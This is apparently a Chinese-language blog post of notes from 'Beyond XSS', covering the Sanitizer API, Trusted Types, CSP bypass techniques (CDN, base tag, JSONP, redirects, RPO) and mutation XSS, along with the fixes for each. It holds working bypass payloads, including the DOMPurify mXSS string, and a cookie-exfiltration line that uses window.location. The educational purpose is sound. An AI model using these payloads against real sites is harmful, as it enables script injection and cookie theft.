Skip to content

[Security] 最新 XSS 防禦 Trusted Types & Sanitizer API,以及 XSS 防禦繞過手法

· 20 min

前言#

承接上篇 [Security] XSS 的多道防線:Sanitization、CSP、降低影響範圍,此篇主要敘述的是《Beyond XSS:探索網頁前端資安宇宙》 2–4 ~ 2–7 章節的筆記,若有錯誤歡迎大家回覆告訴我~

最新的 XSS 防禦:Trusted Types 與內建的 Sanitizer API#

隨時間發展,瀏覽器逐漸提供處理使用者輸入的相關功能,分別為 Trusted Types 與 Sanitizer API,不過目前只有 Chromium based 瀏覽器支援,支援度有限,但還是可以先了解一下~

另外補充,有些框架也逐漸跟上腳步,例如 AngularNext.js 已有相關討論或已有對 Trusted Types 的支援。

Sanitizer API#

Sanitizer API 是瀏覽器內建的 sanitizer,使用方式如下:

<!DOCTYPE html>
<html>
<body>
<div id=content></div>
<script>
const html = `
Hello,
<script>alert(1)<\/script>
<img src=x onerror=alert(1)>
<a href=javascript:alert(1)>click!</a>
<h1 onclick=alert(1) id=a>title</h1>
`;
const sanitizer = new Sanitizer();
document
.querySelector("#content")
.setHTML(html, { sanitizer });
</script>
</body>
</html>

其中 setHTML 是為搭配 Sanitizer API 而新增的方法,在 setHTML 傳入原始 HTML 和 sanitizer,就可用 Sanitizer API 過濾。

最後過濾的結果如下,過濾掉了危險內容:

Hello,
<img src=x>
<a>click me</a>
<h1 id=a>title</h1>

Sanitizer API 目標是「不管怎麼用、怎麼設定,都不會有 XSS 的產生」,這是優點也是缺點,優點是確保安全性,不管怎麼用都不會出事;缺點則是不夠彈性,就算你想要用,不能用就是不能用,例如以下程式碼即使在設定檔允許 iframeiframesrc,最後過濾的結果還是會拿掉 iframe

<!DOCTYPE html>
<html>
<body>
<div id=content></div>
<script>
const html = `
Hello, this is my channel:
<iframe src=https://www.youtube.com/watch?v=123></iframe>
`;
const sanitizer = new Sanitizer({
allowElements: ['iframe'],
allowAttributes: {
'iframe': ['src']
}
});
document
.querySelector("#content")
.setHTML(html, { sanitizer });
/*
結果:Hello, this is my channel:
*/
</script>
</body>
</html>

關於是否開放 iframe 這類標籤仍在討論中,詳細可見 Allow Embedding #124。在官方文件中也有定義合法元素和屬性,如果你想用的元素和屬性不在清單內,則無論如何都無法用。

Sanitizer API 目前仍在相對早期階段,可等主流瀏覽器都支援、可實現自己想要的 feature 後,再考慮改用此 API,目前還是推薦使用 DOMPurify 做 sanitize。

Trusted Types#

稍微介紹 Trusted Types 的出現背景~

在平常開發時,開發者需時時注意使用者輸入,以避免 XSS 漏洞,但要顧慮的細節很多(如:innerHTML<iframe srcdoc>document.write),不一定能顧及全部。此時除了開發者自己小心,如果有其他方式可防止出錯就更好了!

而這就是 Trusted Types 出現的原因,使用 Trusted Types 後,在執行 div.innerHTML = str 時,當 str 是沒處理過的字串,就會拋出錯誤、停止執行,以此提醒開發者謹慎對待。

Trusted Types 使用方式#

在 CSP 新增 Trusted Types,就可啟用 Trusted Types,如此可強制瀏覽器在插入 HTML 時一定要先經過 Trusted Types 處理:

Content-Security-Policy: require-trusted-types-for 'script';

實際應用的範例程式碼如下:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="require-trusted-types-for 'script'">
</head>
<body>
<div id=content></div>
<script>
// 新增一個 policy
const sanitizePolicy = trustedTypes.createPolicy('sanitizePolicy', {
// 決定你要怎麼做 sanitize/escape
createHTML: (string) => string
.replace(/</g, "&lt;")
.replace(/>/g, '&gt;')
});
// 回傳的 safeHtml 型態為 TrustedHTML,不是字串
const safeHtml = sanitizePolicy.createHTML('<h1>hello</h1>')
document.querySelector("#content").innerHTML = safeHtml
</script>
</body>
</html>

需先建立 Trusted Types policy 處理 HTML,才能通過 Trusted Types 的檢查,否則會跳出錯誤。

Trusted Types 的目標是「強制在有可能出問題的 DOM API 使用 Trusted Types,不能使用字串」,其目的並非確定 HTML 沒問題,而是強制開發者使用 Trusted Types 的 HTML。

Trusted Types 優點如下:

另外,Trusted Types 中的 createHTML 實作由自己定義,因此可和其他 API 結合,其他 API 如:DOMPurify、Sanitizer API (雖然目前瀏覽器還沒廣泛支援)。

目前只有 Chromium based 的瀏覽器有支援 Trusted Types,若想在 production 試用 Trusted Types,可參考 Trusted Types polyfill

繞過 XSS 防禦:常見的 CSP bypass#

以下將介紹幾種 CSP 繞過手法。

經由不安全的 domain 的繞過#

若網站用公開 CDN 載入 JavaScript,CSP 可能這樣設定:script-src https://unpkg.com

這樣寫的問題在於這等於可載入這 origin 上的所有 library,例如以下:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src https://unpkg.com/">
</head>
<body>
<div id=userContent>
<script src="https://unpkg.com/react@16.7.0/umd/react.production.min.js"></script>
<script src="https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js"></script>
<br csp="alert(1)">
</div>
</body>
</html>

因為我們偷懶沒把 CSP 寫完整,讓攻擊者可載入繞過 CSP 專用的 library csp-bypass,只要在 HTML tag 加 csp 屬性,csp 屬性內的程式碼就會執行。

解決方式就是不要用這些公開的 CDN,或是把 CSP 路徑寫完整,例如寫:https://unpkg.com/react@16.7.0/,不過 CSP 路徑寫完整可能還是會有問題,後面會再提到,因此建議不要直接載入第三方 script。

經由 base 的繞過#

以 nonce 指定哪些 script 可載入是常見 CSP 設定之一,例如以下,攻擊者不知 nonce 就無法執行 JavaScript。

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'nonce-abc123';">
</head>
<body>
<div id=userContent>
<script src="https://example.com/my.js"></script>
<!-- 打開 console 會看到跳錯:Refused to load the script 'https://example.com/my.js' because it violates the following Content Security Policy directive: "script-src 'nonce-abc123'". Note that 'script-src-elem' was not explicitly set, so 'script-src' is used as a fallback. -->
</div>
<script nonce=abc123 src="app.js"></script>
</body>
</html>

這樣寫的問題在於忘記設 base-uri 指示,base 可用來改變所有相對路徑參考的位置:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'nonce-abc123';">
</head>
<body>
<div id=userContent>
<!-- 更改相對路徑參考位置 -->
<base href="https://example.com/">
</div>
<script nonce=abc123 src="app.js"></script>
</body>
</html>

base 更改相對路徑參考位置後,script 載入的 app.js 變成 https://example.com/app.js,攻擊者就可載入自己的腳本。

解決方式是在 CSP 加上 base-uri,如:base-uri 'none'

經由 JSONP 的繞過#

JSONP 是一種跨來源取資料的方式,較古老,屬於 CORS 還沒成熟前出現的 workaround。

JSONP 產生背景是因為瀏覽器會阻止和非同源網頁的互動,例如在 https://blog.huli.tw 執行 fetch('https://example.com') 會出現 CORS 錯誤,無法順利取得 response。不過有些元素的載入不受同源政策限制,如:<img><script>,像是載入 GTM <script src="https://www.googletagmanager.com/gtag/js?id=UA-XXXXXXXX-X"></script> 時,並不會被限制。

因此 JSONP 針對非同源網頁互動的解法就是以 <script> 交換資料,讓 API 回傳 JavaScript 程式碼而非 JSON。在呼叫 API 時傳入 callback,在呼叫 API 時就會回傳執行該 callback 函式的程式碼,我們就可透過該函式接收資料。例如呼叫 https://example.com/api/users?callback=anyFunctionName 時,回傳的內容如下:

anyFunctionName([
{id: 1, name: 'user01'},
{id: 2, name: 'user02'}
])

網頁使用方式就是以 anyFunctionName 這 function 接收資料:

<script>
function anyFunctionName(users) {
console.log('Users from api:', users)
}
</script>
<script src="https://example.com/api/users?callback=anyFunctionName"></script>
<!-- https://example.com/api/users?callback=anyFunctionName 會呼叫 anyFunctionName function,就會印出 users 資料 -->

其中 anyFunctionName 是可以任意替換函式名稱的,只要傳入不同 callback 內容即可。

JSONP 可能有何問題?如果 server 沒做好驗證,callback 就可輸入任意字元,就可在呼叫 API 時插入想執行的程式碼,也因而能利用此特性來繞過 CSP。利用 JSONP 繞過 CSP 的程式碼範例如下:

<!DOCTYPE html>
<html>
<head>
<!-- 為了用 Google 的 reCAPTCHA,在 CSP 新增 https://www.google.com 這 domain -->
<meta http-equiv="Content-Security-Policy" content="script-src https://www.google.com https://www.gstatic.com">
</head>
<body>
<div id=userContent>
<script src="https://example.com"></script>
</div>
<script async src="https://www.google.com/recaptcha/api.js"></script>
<button class="g-recaptcha" data-sitekey="6LfkWL0eAAAAAPMfrKJF6v6aI-idx30rKs55Lxpw" data-callback='onSubmit'>Submit</button>
</body>
</html>

上面這段程式碼允許某網域的 script,但 https://www.google.com 網域上有支援 JSONP 的 URL,攻擊者可用 JSONP 的 URL 繞過 CSP、傳入 jsonp callback 來執行想執行的程式碼,例如以下:

<script src="https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//"></script>

解決方式是將 CSP 路徑設更嚴謹(可降低風險但不是完全防止風險),以及撰寫 CSP 時先確認哪些網域有 JSONP API 可使用,或是以 CSP Evaluator 檢查時,它也會提醒你該網域有 JSONP URL。

JSONP 繞過的限制#

有些網站會限制 JSONP 的 callback 參數,例如只能輸入 a-zA_Z.,此時攻擊者還可搭配 Same Origin Method Execution(SOME)來達成攻擊。Same Origin Method Execution 的意思是雖然只能呼叫函式,但可以找同源網站下的方法來執行。

Same Origin Method Execution 加上有參數限制的 JSOP 可達到攻擊,JSONP callback 可帶上例如?callback=document.body.firstElementChild.nextElementSibling.click,這些都是允許字元,可放入 JSONP callback 內,在呼叫 JSONP 後執行。假設最後呼叫點擊的元素是有問題的,就可用 callback 去點擊有問題的元素、觸發攻擊。

實際漏洞案例例如 Bypass CSP Using WordPress By Abusing Same Origin Method Execution

經由重新導向的繞過#

CSP 遇到伺服器重導向時,會…?

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<!-- CSP 設 https://www.google.com/a/b/c/d ,因為 /test 和 /a/test 路徑不對,所以會被擋下 -->
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

其中 http://localhost:5555/301 符合 http://localhost:5555的規則,可通過 CSP,即使 http://localhost:5555/301 會在 server 端會重導向到 https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//,也可載入,因為重導向就不看 path,因而完成對 path 的繞過。

由上可看出問題在於即使 CSP 路徑寫完整,重新導向後仍會被繞過,解決方式是確保網站沒有 open redirect 漏洞、確保 CSP 規則內沒有可被重導向利用的網域。

經由 RPO 的繞過#

RPO 全名是 Relative Path Overwrite,舉例來說,當 CSP 允許路徑是 https://example.com/scripts/react/ 時,攻擊者可用 <script src=”https://example.com/scripts/react/..%2fangular%2fangular.js"></script> 的方式繞過,這最後會載入 https://example.com/scripts/angular/angular.js

為什麼呢?因瀏覽器與伺服器對網址解析不同,對瀏覽器來說,https://example.com/scripts/react/..%2fangular%2fangular.js這是載入 https://example.com/scripts/react/ 底下的 ..%2fangular%2fangular.js 檔案,因此符合 CSP 規則;但對某些伺服器來說,收到請求時會先 decode,解析後認為這是在請求 https://example.com/scripts/angular/angular.js,這網址就不符 CSP,但還是成功載入了,因此是繞過 CSP 規則。

解決方式是讓瀏覽器跟伺服器的解析一致。

其他種類的繞過#

上述是針對 CSP 規則的繞過,以下是「CSP 本身限制」產生的繞過方式。

舉例來說,某網站的 CSP 設定嚴格,但可執行 JavaScript:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'unsafe-inline';">
</head>
<body>
<script>
// any JavaScript code
</script>
</body>
</html>

此時若要偷 document.cookie 且傳出去,要怎麼做?

這情況的限制是 CSP 阻止任何資源載入,包含:<img><iframe>fetch()navigator.sendBeacon,在這限制下有幾個繞過方式:

繞過方式 1:頁面跳轉#

例如 window.location = 'https://example.com?q=' + document.cookie,雖然有 CSP 指示 navigate-to 可限制,但目前瀏覽器支援度低。

繞過方式 2:WebRTC#

程式碼可參考 WebRTC bypass CSP connect-src policies #35,目前沒有 CSP 規則可限制,但未來可能會有 webrtc 指示。

繞過方式 3:DNS prefetch#

把想傳送的資料當成 domain 一部分,透過 DNS query 傳出,例如 <link rel="dns-prefetch" href="https://data.example.com">,以前曾有 prefetch-src 規則,在 Chrome 112 後改成 prefetch 系列應遵守 default-srcResoure Hint “Least Restrictive” CSP)。

由上可知,雖然 default-src 看似能封鎖一切,但目前仍有方法能將資料傳出。

繞過 XSS 防禦:Mutation XSS#

mutation XSS(簡稱 mXSS)是針對 sanitizer 的攻擊方式。

Sanitizer 的使用方式如下,輸入與輸出值都是有 html 的字串,但中間會由 sanitizer 做些過濾處理。

const inputHtml = '<h1>hello!</h1>'
const safeHtml = sanitizer.sanitize(inputHtml)
document.body.innerHTML = safeHtml

sanitizer 內部運作的步驟是:

  1. inputHtml 解析為 DOM tree
  2. 根據設定檔,刪除不合法的 node 與 attribute
  3. 把 DOM tree 序列化(serialize)成字串
  4. 回傳

但上述這過程有個潛在問題,就是「看起來安全的 HTML,其實不安全」。介紹 mutation XSS 如何達成攻擊前,我們先前情提要一下~

瀏覽器貼心服務#

瀏覽器會因應情況與規格,調整 HTML,因此指派給瀏覽器的 HTML,不一定是最後呈現的。當 HTML 字串 render 時被瀏覽器改變,就稱為 mutation,而利用此特性達成的 XSS 稱為 mutation XSS。

舉例來說,原程式碼是這樣:

<div id=content></div>
<script>
content.innerHTML = '<svg><p>hello</svg>'
</script>

瀏覽器實際渲染的會是:

<svg></svg>
<p>hello</p>

可看出 HTML 結構被改變, <p> 跑到 <svg> 外,且補上 </p>。原因是<p> 不該在 <svg> 內,且 <p> 少了 </p>,因此瀏覽器協助修復。

同樣是 psvg 內,再看一個範例:

<div id=content></div>
<script>
content.innerHTML = '<svg></p>hello</svg>'
</script>

瀏覽器實際渲染的會是:

<svg><p></p>hello</svg>

瀏覽器會補上 <p>,但 <p> 仍在 <svg> 內(現在 Chrome 行為已修復,實際渲染結果會是 <svg></svg><p></p>hello,所以現在無法測出這狀況),這時如果再把 <svg><p></p>hello</svg> 丟給 innerHTML

<script>
content.innerHTML = '<svg><p></p>hello</svg>'
console.log(content.innerHTML)
</script>

瀏覽器渲染結果是:

<svg></svg>
<p></p>
hello

瀏覽器會讓 <p>hello 都跳出 <svg> 外。

而如果上述結合 sanitizer 流程,會變這樣:

  1. 原始 html:<svg></p>hello</svg>
  2. 經過 sanitizer 解析為 DOM tree:
<svg>
<p></p>
hello
</svg>

3. 將 DOM tree 序列化成字串:<svg><p></p>hello</svg>

4. 拿到 safeHTML,執行 document.body.innerHTML = safeHtml

最後瀏覽器渲染結果會變成:

<svg></svg>
<p></p>
hello

可看出 sanitizer 處理的和最後瀏覽器渲染的有落差,對 sanitizer 來說,<p> 跟 hello 在 svg 內;對瀏覽器來說,<p> 跟 hello 在 svg 外,這個 mutation 就讓任意元素從 <svg> 跳出。

神奇的 HTML#

<style> 內的東西都會被解讀為文字,先看以下原始程式碼:

<!DOCTYPE html>
<html>
<body>
<style>
<a id="test"></a>
</style>
</body>
</html>

瀏覽器解析時,<a> 會被解析為文字:

資料來源:https://aszx87410.github.io/beyond-xss/ch2/mutation-xss/#%E7%A5%9E%E5%A5%87%E7%9A%84-html

但如果 <style> 外層加上 <svg><style> 內的東西會被解讀為 HTML 標籤。以下為範例 1:

<!DOCTYPE html>
<html>
<body>
<svg>
<style>
<a id="test"></a>
</style>
</svg>
</body>
</html>

上述在瀏覽器解析時,<a> 會被解析為 HTML 元素:

資料來源:https://aszx87410.github.io/beyond-xss/ch2/mutation-xss/#%E7%A5%9E%E5%A5%87%E7%9A%84-html

範例 2 是 <a> 加上屬性:

<svg>
<style>
<a id="</style><img src=x onerror=alert(1)>"></a>
</style>
</svg>

瀏覽器解析時,<a> 被解析為有 </style><img src=x onerror=alert(1)> id 屬性的標籤:

資料來源:https://aszx87410.github.io/beyond-xss/ch2/mutation-xss/#%E7%A5%9E%E5%A5%87%E7%9A%84-html

延伸範例 2,如果是 <style> + <a> 屬性,去掉 <svg>

<style>
<a id="</style><img src=x onerror=alert(1)>"></a>
</style>

瀏覽器解析時,<a> 只是純文字,而原 id 屬性內的 </style> 會關閉前面的 <style>,也因為 style 提前關閉,導致 <img>從純文字跑出,成為 HTML 元素。

由上可知,<style> 外有無 <svg> 會影響瀏覽器的解析:

全部加在一起#

mXSS 的前情提要結束~當結合以下兩者時就可達成 mXSS:

實際案例例如 DOMPurify 釋出的 2.0.1 版本,其中修復了利用 mutation 繞過檢查的 mXSS。有問題的原 payload 是 <svg></p><style><a id="</style><img src=1 onerror=alert(1)>">,被解析為 DOM tree 時瀏覽器會改成這樣:

<svg>
<p></p>
<style>
<a id="</style><img src=1 onerror=alert(1)>"></a>
</style>
</svg>

此時 DOMPurify 根據 DOM tree 檢查,認為 <svg><p><style><a> 都是允許標籤,id 是允許屬性,因此回傳上面這段的序列化結果。

接著使用者將字串丟給 innerHTML,就會發現標籤從 svg 跳出,原本是屬性內容的 img 變成標籤,達成 XSS。

<svg></svg>
<p></p>
<style><a id="</style>
<img src=1 onerror=alert(1)>
"></a>
</style>

後續 DOMPurify 加入檢查以修復問題,Chromium 也在規格補上新規則、修復漏洞。

繞過 XSS 防禦:Universal XSS#

Universal XSS 的意思是 XSS 攻擊對象是瀏覽器或內建的 plugin,而非攻擊網站本身,影響範圍很大,因為它無論在哪個網站都可執行程式碼(即使網站本身沒問題也可被執行 XSS),因此稱 Universal XSS 為「最強的 XSS」。

Universal XSS 算是比較嚴重的 XSS,案例不多,書中有提及的案例如:2006 年的 Firefox 的 Adobe Acrobat plugin2012 年的 Android Chrome 的 UXSS2019 年 Chromium 透過 portal 的 UXSS…等,就不細部一一介紹~

對於瀏覽器的 UXSS 漏洞,開發者是無能為力的,因為有問題的是瀏覽器,不是網站本身,而身為使用者,為避免 UXSS 攻擊,使用者能做的就是盡量更新到瀏覽器最新版本、期待廠商盡快修復。


Reference:#

如有任何問題歡迎聯絡、不吝指教✍